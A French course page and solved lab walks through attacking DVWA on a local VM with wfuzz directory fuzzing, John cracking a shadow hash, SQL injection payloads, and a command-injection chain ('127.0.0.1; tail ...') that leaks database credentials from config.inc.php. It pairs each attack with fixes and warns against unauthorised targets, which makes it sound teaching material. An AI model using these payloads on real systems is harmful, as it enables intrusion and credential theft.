Une appli web pleine de failles (DVWA), et cinq façons de la faire tomber : deviner, fouiller, casser un mot de passe, injecter du SQL, injecter une commande. À chaque fois : comment ça marche, et comment s'en protéger.
La plupart des failles web viennent d'une entrée utilisateur mal traitée. Si on la colle telle quelle dans une requête SQL, on a une injection SQL. Dans une commande shell, une injection de commande. Un mot de passe faible se casse par dictionnaire (John). Des dossiers cachés se trouvent par fuzzing (wfuzz). Le remède est presque toujours le même : ne jamais faire confiance à l'entrée (valider, échapper, requêtes préparées) et appliquer le moindre privilège. On s'entraîne sur DVWA.
01 — Le décor
Le DevSecOps, c'est intégrer la sécurité tout au long du développement (shift left), pas en fin de projet. Le pentest (test d'intrusion) en est le versant offensif : on cherche les failles avant les attaquants, on les exploite pour prouver l'impact, puis on corrige.
Analyse du code, scan, fuzzing. On repère où l'appli fait confiance à une entrée qu'elle ne devrait pas.
On construit un payload qui déclenche la faille (voler des données, exécuter une commande) pour montrer que le risque est réel.
Le vrai but : requêtes préparées, validation, échappement, moindre privilège. Casser sert à savoir réparer.
La référence des risques web les plus critiques. Les injections (SQL, commande) y figurent historiquement en tête (A03:2021). Tout ce TP tourne autour de ce risque n°1 : une entrée non maîtrisée interprétée comme du code.
02 — Le terrain d'entraînement
DVWA est un serveur web volontairement vulnérable. On y installe l'appli sur une VM Ubuntu, on choisit un niveau de sécurité (low, medium, high) et on exploite les failles pour apprendre à les détecter, les exploiter et les corriger.
DVWA se lance uniquement sur ta VM. Les exploits ne doivent jamais viser un système dont tu n'as pas l'autorisation écrite. Sinon, c'est un délit.
03 — Reconnaissance
Avant d'exploiter, on cartographie. Deux techniques de base : la force brute (tester toutes les combinaisons d'un identifiant) et le directory brute forcing (découvrir des dossiers/fichiers cachés en testant une liste de noms contre l'URL).
Aucune connaissance préalable : on automatise les essais (John, Hydra) jusqu'à trouver. Lente mais garantie si aucune limite (rate limiting, captcha, délai) n'est en place.
On envoie une requête HTTP par mot d'une wordlist et on lit le code de réponse (200/301/403/404) pour déduire l'existence de la ressource : pages admin, sauvegardes, config.
Commande type : wfuzz -w common.txt --hc 404 http://cible/dvwa/FUZZ. Le mot-clé FUZZ est remplacé par chaque mot de la liste ; --hc 404 masque les absents.
04 — Mots de passe
Un mot de passe n'est jamais (bien) stocké en clair : on garde son hash, une empreinte à sens unique. On ne peut pas « déchiffrer » un hash. Pour le casser, on teste des candidats : on hache chaque mot d'un dictionnaire et on compare au hash cible.
Un sel unique est ajouté avant le hachage. Deux personnes avec le même mot de passe ont alors des hashs différents, ce qui casse les rainbow tables (tables précalculées). Le préfixe du hash encode l'algorithme : ici $6$ = sha512crypt.
John « core » (paquet Ubuntu) ne gère pas sha512crypt (« Unknown ciphertext format »). Il faut la version jumbo (branche bleeding-jumbo) compilée depuis les sources.
John lit le fichier shadow, détecte le format, puis pour chaque mot de la liste : calcule le hash avec le même sel et compare. Dès qu'un hash correspond, le mot en clair tombe.
John ne se limite pas aux comptes système : zip2john, pdf2john, ssh2john, keepass2john extraient un hash d'une archive, d'un PDF, d'une clé SSH ou d'un coffre KeePass, que John casse ensuite.
05 — Injection SQL
Le code DVWA (low) concatène l'entrée directement : "...WHERE user_id = '$id';". Comme $id vient de l'utilisateur, on peut y glisser du code SQL. Clique un payload et regarde la requête et le résultat changer.
Requête exécutée côté serveur
Résultat renvoyé
Utiliser des requêtes préparées (PDO/mysqli) avec paramètres liés : la valeur est transmise séparément de la structure, le moteur la traite toujours comme une donnée, jamais comme du code. En complément : forcer le type (id entier), et limiter les privilèges du compte MySQL (moindre privilège).
06 — Injection de commande
Le code DVWA (low) fait shell_exec('ping -c 4 ' . $target). $target vient de l'utilisateur, sans filtrage. Un ; suffit à enchaîner une deuxième commande, exécutée avec les droits du serveur web. Clique et regarde l'escalade.
Terminal du serveur (www-data)
Ne jamais construire une commande shell à partir d'entrée brute. Valider strictement le format attendu (ici une IP : filter_var(..., FILTER_VALIDATE_IP)), échapper avec escapeshellarg, et si possible éviter l'appel système au profit d'une fonction native du langage.
07 — Le TP décortiqué
Le corrigé complet du TP01 (rendu en binôme). Ouvre chaque exercice.
Brute force, directory brute forcing, injection SQL, injection de commande.
Tester systématiquement toutes les combinaisons d'identifiants jusqu'à trouver la bonne. Aucune connaissance préalable, on automatise (John, Hydra). Le temps dépend de la complexité du mot de passe et des protections (rate limiting, délai, captcha). Lente mais garantie sans limite.
Découvrir fichiers et répertoires cachés en testant une wordlist contre l'URL. On lit le code de réponse (200/403/404) pour déduire l'existence. Révèle pages d'admin, fichiers de config ou de sauvegarde (wfuzz, dirb).
Exploite l'absence de validation d'entrée dans une appli qui construit ses requêtes dynamiquement. On insère du SQL dans un champ pour modifier la requête : contourner une authentification, extraire des données (UNION SELECT), modifier/supprimer. Cause : pas de requêtes préparées ni d'échappement.
Une entrée non filtrée est transmise à une fonction qui exécute des commandes shell. On ajoute des caractères de concaténation (point-virgule, esperluette, pipe) pour faire exécuter ses commandes avec les droits du process web : lecture de fichiers, exfiltration, prise de contrôle. Protection : validation stricte et éviter les appels système avec des données utilisateur.
Casser le mot de passe de test2 dans un fichier shadow.
Le fichier contient une ligne shadow avec un hash préfixé $6$ (sha512crypt) et son sel. But : retrouver le mot de passe en clair via la liste des 100 000 plus courants.
Erreur « Unknown ciphertext format ». Solution : compiler John jumbo (bleeding-jumbo).
git clone --depth 1 -b bleeding-jumbo https://github.com/openwall/john john-jumbo cd john-jumbo/src && ./configure && make -sj4
~/john-jumbo/run/john --wordlist=~/10-million-...-top-100000.txt ~/mypassword.txt # admin123 (test2) -> trouvé en < 1s ~/john-jumbo/run/john --show ~/mypassword.txt # test2:admin123
Mot de passe = admin123. Trouvé instantanément car présent tôt dans la liste : sa complexité apparente (lettres+chiffres) ne protège pas s'il est déjà connu.
Archives (zip2john, rar2john, 7z2john), documents Office/PDF (office2john, pdf2john), clés SSH (ssh2john), coffres KeePass (keepass2john), handshakes WPA/WPA2. Principe commun : un outil extrait le hash, John le casse.
zip2john archive.zip > hash.txt john --wordlist=rockyou.txt hash.txt
zip2john lit les métadonnées de vérification du ZIP et produit une ligne de hash, cassée comme un hash shadow.
Découvrir les dossiers et fichiers de DVWA.
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://127.0.0.1/dvwa/FUZZ
Dossiers (code 301) : config, database, docs, external, tests. Remarque : un bug d'affichage de wfuzz 3.1.0 montre quand même les 404 ; filtrer soi-même sur les codes 301/200.
La wordlist d'extensions par défaut n'a pas .css ; créer sa liste :
printf ".css\n.php\n.html\n" > ~/ext.txt wfuzz -w .../common.txt -w ~/ext.txt --hc 404 http://127.0.0.1/dvwa/dvwa/css/FUZZFUZ2Z
Fichiers trouvés (200) : help.css, login.css, main.css, source.css. Deux points d'injection = FUZZ et FUZ2Z.
find /usr/share/wfuzz/wordlist -iname "*apache*" → /usr/share/wfuzz/wordlist/vulns/apache.txt.
Contourner le filtre, extraire des données système.
Code vulnérable : $id = $_REQUEST['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';". L'entrée est concaténée sans échappement.
Payload : 1' OR '1'='1. La condition '1'='1' est toujours vraie, le WHERE ne filtre plus : les 5 utilisateurs sortent (admin, Gordon Brown, Hack Me, Pablo Picasso, Bob Smith).
Payload : ' UNION SELECT @@version, database() -- -. UNION ajoute une 2e requête (même nombre de colonnes) ; on récupère 8.0.46-0ubuntu0.22.04.4 et la base dvwa. Le -- - commente la fin.
Requêtes préparées avec paramètres liés (PDO/mysqli) : la valeur est traitée comme donnée, jamais comme code. + typer $id en entier + moindre privilège du compte MySQL. Teste la « Version corrigée » dans la démo ci-dessus.
De ls jusqu'aux identifiants de la base.
Code vulnérable : $target = $_REQUEST['ip']; $cmd = shell_exec('ping -c 4 ' . $target);. Aucun filtrage.
Payload 127.0.0.1; ls → la commande devient ping -c 4 127.0.0.1; ls. Sortie : help, index.php, source. On exécute des commandes arbitraires.
127.0.0.1; pwd → /var/www/html/dvwa/vulnerabilities/exec. On se repère pour naviguer en relatif.
find / -iname ".htaccess" localise le fichier, accessible en relatif : 127.0.0.1; cat ../api/.htaccess. Il redirige toutes les requêtes vers l'API DVWA sauf les fichiers/dossiers existants.
Le fichier commence par une balise PHP ouvrante que le navigateur interpréterait : on la saute avec tail -n +2.
127.0.0.1; tail -n +2 ../../config/config.inc.php
# fuite : db_user=dvwa db_password=Pentest-si5 db_database=dvwa
Progression réaliste : confirmer l'exécution (ls) → se repérer (pwd) → explorer (.htaccess) → récupérer des secrets (config). Une seule case mal protégée suffit à remonter jusqu'aux identifiants. Correction : valider (FILTER_VALIDATE_IP), escapeshellarg, éviter l'appel système.
08 — Entraînement
Teste-toi sur la sécurité web. Pool de questions tirées au hasard, correction et explication immédiates.
Pool de 27 questions. Tire un échantillon au hasard, correction immédiate et explication à chaque réponse.
Lis la question, réponds dans ta tête, puis retourne la carte.